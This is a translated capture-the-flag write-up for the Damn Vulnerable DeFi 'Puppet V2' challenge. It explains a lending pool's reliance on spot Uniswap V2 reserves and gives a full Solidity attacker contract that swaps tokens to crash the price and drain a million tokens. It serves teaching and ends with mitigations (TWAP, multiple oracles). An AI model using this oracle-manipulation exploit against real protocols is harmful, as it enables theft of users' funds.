本文分析了Damn Vulnerable DeFi V4挑战中的Puppet V2漏洞。该漏洞与之前的版本类似,在于依赖Uniswap V2池的当前储备来计算价格,这使得攻击者可以通过大幅swap代币来操纵价格,从而以极低的抵押借出大量代币,最终将资金转移到指定账户。
这个解释假定你事先了解此挑战中的智能合约,并将专注于漏洞分析。
前一个池子的开发者们似乎已经吸取了教训。并发布了一个新版本。
现在他们使用 Uniswap v2 交易对作为价格预言机,以及推荐的实用程序库。这难道还不够吗?
你的初始余额为 20 ETH 和 10000 DVT 代币。池子里有一百万 DVT 代币处于风险之中!
从池中保存所有资金,并将它们存入指定的恢复帐户。
尽管升级了价格计算机制,但该池子与前一个池子具有相同的漏洞。 借贷池现在使用 Uniswap V2 和封装 ETH (WETH) 作为抵押品,但根本缺陷仍然存在。
漏洞在于 PuppetV2Pool 合约中的 _getOracleQuote() 函数:
function _getOracleQuote(uint256 amount) private view returns (uint256) {
(uint256 reservesWETH, uint256 reservesToken) =
UniswapV2Library.getReserves({factory: _uniswapFactory, tokenA: address(_weth), tokenB: address(_token)});
return UniswapV2Library.quote({amountA: amount * 10 ** 18, reserveA: reservesToken, reserveB: reservesWETH});
}
此实现方式存在漏洞,因为它仍然依赖于单个流动性池的状态,并且预言机仍然使用当前储备金来计算价格。 这意味着可以通过执行大量交换来操纵价格,从而显着更改储备金比率。
contract Attacker is Test{
WETH weth;
DamnValuableToken token;
IUniswapV2Router02 uniswapV2Router;
PuppetV2Pool lendingPool;
address recovery;
uint256 constant PLAYER_INITIAL_TOKEN_BALANCE = 10_000e18;
uint256 constant POOL_INITIAL_TOKEN_BALANCE = 1_000_000e18;
constructor(
address payable _weth,
address _token,
address _uniswapV2Router,
address _lendingPool,
address _recovery
) payable {
weth = WETH(_weth);
token = DamnValuableToken(_token);
uniswapV2Router = IUniswapV2Router02(_uniswapV2Router);
lendingPool = PuppetV2Pool(_lendingPool);
recovery = _recovery;
}
function startAttack() external {
weth.deposit{value: address(this).balance}();
token.approve(address(uniswapV2Router), PLAYER_INITIAL_TOKEN_BALANCE);
address[] memory path = new address[](2);
path[0] = address(token);
path[1] = address(weth);
uniswapV2Router.swapExactTokensForTokensSupportingFeeOnTransferTokens(
PLAYER_INITIAL_TOKEN_BALANCE,
9e18,
path,
address(this),
block.timestamp
);
uint256 amount = lendingPool.calculateDepositOfWETHRequired(POOL_INITIAL_TOKEN_BALANCE);
weth.approve(address(lendingPool), amount);
lendingPool.borrow(POOL_INITIAL_TOKEN_BALANCE);
token.transfer(recovery, POOL_INITIAL_TOKEN_BALANCE);
}
function recieve() external payable {}
}
/**
* CODE YOUR SOLUTION HERE
*/
function test_puppetV2() public checkSolvedByPlayer {
Attacker attacker = new Attacker{value: 20e18}(
payable(address(weth)),
address(token),
address(uniswapV2Router),
address(lendingPool),
recovery
);
token.transfer(address(attacker), PLAYER_INITIAL_TOKEN_BALANCE);
attacker.startAttack();
}
可以使用与先前挑战中建议的相同机制来保护池。
通过使用多个高流动性价格来源并实施 TWAP 机制 可以避免此漏洞。
包含解决方案的 GitHub 存储库:https://github.com/HamMnatsakanyan/damn-vulnerable-defi-solutions/
查看我的 X 个人资料:https://x.com/_synthrax
- 原文链接: coinsbench.com/damn-vuln...
- 登链社区 AI 助手,为大家转译优秀英文文章,如有翻译不通的地方,还请包涵~
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!